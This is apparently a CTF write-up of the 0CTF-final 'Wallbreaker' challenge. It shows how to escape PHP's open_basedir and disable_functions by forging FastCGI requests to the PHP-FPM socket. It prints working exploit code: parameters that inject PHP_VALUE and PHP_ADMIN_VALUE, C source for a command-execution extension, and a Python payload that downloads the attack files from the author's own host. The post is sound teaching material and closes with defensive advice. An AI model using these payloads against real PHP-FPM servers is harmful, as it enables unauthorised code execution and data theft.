Fuck PHP-FPM with FastCGI

TL;DR

The challenge of Wallbreaker appeared on 0ctf-final again, and it made me to push myself to spend several days on it. It is amazing that this trick can impact on all the service built on PHP-FPM! Enjoy the story.

Description of the challenge

The challenge called Wallbreaker was built on nginx + PHP-FPM. Wallbreaker gave us the chance to execute php code by <?php eval($_REQUEST['exp']); ?>, but with limitation of open_basedir=/var/www/html (The flag was in /var/www) and disable_functions=...,getenv,putenv,mail,system. OMG, in past, I needed putenv to bypass disable_functions, using LD_PRELOAD to hijack the shared library (You can take a look if you are interested); however, it was limited now. To solve this challenge, we need to understand PHP-FPM first!

PHP-FPM

PHP-FPM is the process manager of FastCGI protocol.

  • How does PHP-FPM perfectly manage the process?
    PHP-FPM is a service of multiple processes: serveral workers to deal with requests and one master to manage those workers. To get the information of each worker processes, FPM even uses structures of fpm_scoreboard_s and fpm_scoreboard_proc_s to record their statuses.
  • How PHP-FPM deal with clients’ requests?
    ref from https://www.bnote.net/assets/img/linux/php-fpm_img.png
    This is a nice picture to understand the request flow of PHP-FPM. First, our HTTP request would be converted to the format of FastCGI by Nginx worker and be sent to FPM worker. There are two kinds of socket implemented on FPM: one is TCP socket(127.0.0.1:9000) and another is UNIX socket(unix:///var/run/php7-fpm.sock), this can be set by fastcgi_pass in the nginx conf file.
  • What does the format of FastCGI looks like?
    There are several types of FastCGI request:
    typedef enum _fcgi_request_type {
        FCGI_BEGIN_REQUEST = 1,
        FCGI_ABORT_REQUEST = 2,
        ...ignored...
        FCGI_GET_VALUES_RESULT = 10
    } fcgi_request_type;
    

    In most conditions, FCGI_BEGIN_REQUEST would be the first type of request to be sent.

    typedef struct _fcgi_begin_request_rec {
        fcgi_header_hdr;
        fcgi_begin_request body;
    } fcgi_begin_request_rec;
    

    Take this type of request for example, they both have header and body. Header would show their version, type requstid, and length. Body would show the data of this type. e.g. Environment variables ($_SERVER) in format of name-value would be showed in type 4 of request.

  • Overwrite the setting of php.ini?!!
    To complete the attack, we need to know about two environment variables of PHP-FPM: PHP_VALUE and PHP_ADMIN_VALUE. Since php5.3.3, php-fpm supports dynamically changing the value of php.ini. PHP_VALUE can set the options of PHP_INI_USER and PHP_INI_ALL, and PHP_ADMIN_VALUE can set all the options (More details to found in Manual). However, you need to remember that disable_functions cannot be overwritten because it has been fixed since PHP is loaded into the service!!

We can find PHP_ADMIN_VALUE and PHP_VALUE in /etc/php/7.3/fpm/pool.d/www.conf. It is the file to configure the extension for php-fpm service.

Now, you must got some ideas to solve this challenge: we can forge a request of fastcgi to communicate with PHP-FPM. In next step, I would start to build up a environment of Nginx + PHP-FPM on my virtual machine.

Ubuntu + Nginx + PHP-FPM

First, I used apt-get to install Nginx and php-fpm on my virtual machine. Edit /etc/php/7.3/fpm/php.ini:

;cgi.fix_pathinfo=1
change to ---->
cgi.fix_pathinfo=0

and used service php7.3-fpm restart to reload the setting. Next, I modified the config file of nginx (/etc/nginx/sites-available/default):

Pay attention to the line of fastcgi_pass, it determines Nginx uses Unix socket or TCP socket to connect to PHP-FPM. Here I use Unix socket, find the socket file matching your php version (so I should use php7.3-fpm.sock here)! nginx -t to check the whether the syntax is right, then I can restart my nginx service now. Document root is root /var/www/html;, so I just need to put my page under /var/www/html/, then nginx and PHP-FPM would help me to parse my file.

The last step, go to /etc/php/7.3/fpm/php.ini to change the setting of open_basedir=/var/www/html and disable_functions=...,getenv,putenv,mail,system.

Now, I have built up a environment similiar to the challenge in Wallbreaker of 0CTF!

Exploit

Let’s start exploit!!
1️⃣ First, I need to upload a fake fcgi onto the nginx server, and fake fcgi would use Unix socket to communicate with php-fpm. This is my payload of fake fcgi. Pay attention to the following part:

...
// Don't use the exploit file itself!!
$filepath = '/var/www/html/1.php';
...
// You need to find out the path of the socket first
$client = new FCGIClient("unix:///var/run/php/php7.3-fpm.sock", -1);
// overwrite the open_basedir of php.ini
$php_value = "allow_url_include=On\nopen_basedir=/";
// overwrite the extension_dir and extension of php.ini
$php_admin_value = "extension_dir=/var/www/html/\nextension=admin_tool.so";
$params = array(       
    ...
    'SCRIPT_FILENAME'   => $filepath,
    ...
	'PHP_VALUE'         => $php_value,
	'PHP_ADMIN_VALUE'   => $php_admin_value,
    ...
);

The most important thing is that you cannot use the exploit file itself as the SCRIPT_FILENAME. It would cause to 500 internal server error because of request deadlock. You just need to put an existing file, and its content is not important (Here I put /var/www/html/1.php).

2️⃣ Second, write my extension: admin_tool.so, here I would use the script in php to generate the structure of extension. I won’t get into the detail about how to write an extension (I would like to share in separated articles), but just show my source code of admin_tool.c.

...
PHP_FUNCTION(admin_tool)
{
	size_t str_len;
	char *s;
	if(zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s", &s, &str_len) == FAILURE){
		return;
	}
	php_exec(1, s, NULL, return_value);
};
static const zend_function_entry admin_tool_functions[] = {
	PHP_FE(admin_tool,NULL)
	PHP_FE_END
};
zend_module_entry admin_tool_module_entry = {
	STANDARD_MODULE_HEADER,
	"admin_tool",					/* Extension name */
	admin_tool_functions,			/* zend_function_entry */
	NULL,							/* PHP_MINIT - Module initialization */
	NULL,							/* PHP_MSHUTDOWN - Module shutdown */
	NULL,			/* PHP_RINIT - Request initialization */
	NULL,							/* PHP_RSHUTDOWN - Request shutdown */
	NULL,			/* PHP_MINFO - Module info */
	PHP_ADMIN_TOOL_VERSION,		/* Version */
	STANDARD_MODULE_PROPERTIES
};
...

php extension is not written in pure C code, but with zend API!!

3️⃣ Final payload:

import requests
import base64

payload = '''
file_put_contents("/var/www/html/f", file_get_contents("http://my-domain/fuck-fcgi.php"));
file_put_contents("/var/www/html/admin_tool.so", file_get_contents("http://my-domain/admin_tool.so"));
file_put_contents("/var/www/html/1.php", "1");
include("/var/www/html/f");
var_dump(admin_tool("cat /var/www/flag.txt"));
'''
my_params = {"exp": payload}
r = requests.post("http://127.0.0.1/wallbreaker.php", data=my_params)
print(r.content)

With my final payload to include the fuck_fcgi.php, we launch a socket to communicate with php-fpm. open_basedir would be overwritten to /, so we don’t need to scare that we cannot browse the parent directory anymore. extension is set to /var/www/html/admin_tool.so, so now I could use my admin_tool() to execute command line :3

🏁 overwrite php.ini


🏁 get flag

Some more tricky problems before FLAG

  • PHP Warning: Module ‘admin_tool.so’ already loaded in Unknown on line 0.
    (sol) You must have tried to request with same fcgi for several times; however, admin_tool.so had already been loaded. You just need to delete the line of $php_admin_value.
  • How to find out the path of sock?
    (sol) Always remember glob is your best friend <3
      $file_list = array();
      // you cannot use glob:///var/run/php here
      // because open_basedir restriction in effect
      // but you still can use wildcard :)
      $p = new DirectoryIterator("glob:///v??/run/php/*.sock");
      foreach($p as $c){
          $file_list[] = $c->__toString();
      }
      foreach($file_list as $c){
      echo {$c}; 
      }
    
  • security.limit_extensions
    How about adding auto_prepend_file=php://input in php.ini? Then we just need to add our payload in POST content. This doesn’t work anymore since php5.3.9
      // /etc/php/7.3/fpm/pool.d/www.conf
      ; Limits the extensions of the main script FPM will allow to parse. This can
      ; prevent configuration mistakes on the web server side. You should only limit
      ; FPM to .php extensions to prevent malicious users to use other extensions to
      ; exectute php code.
      ; Note: set an empty value to allow all extensions.
      ; Default Value: .php
      security.limit_extensions = .php .php3 .php4 .php5
    

    So, I need to find an existing php file in auto_prepend_file, and so does SCRIPT_NAME in fcgi parameters.

Conclusion

I really recommend to hold up the challenge by yourself on localhost. Only by this way could you find many problems needed to handle with and understand how the server works. This is a very powerful way of exploit, the setting in php.ini would be changed until the fpm service is reloaded or restarted!! If Nginx server uses TCP socket to communicate with php-fpm, we can map to another port to prevent the direct request from remote fcgi client. If with Unix socket, we should prevent SSRF (Local Nginx -> Local php-fpm). At the end, I specifically appreciate to my friend @kaibro for answering my questions and also congrats that their team wins the first prize in CTFtime!!!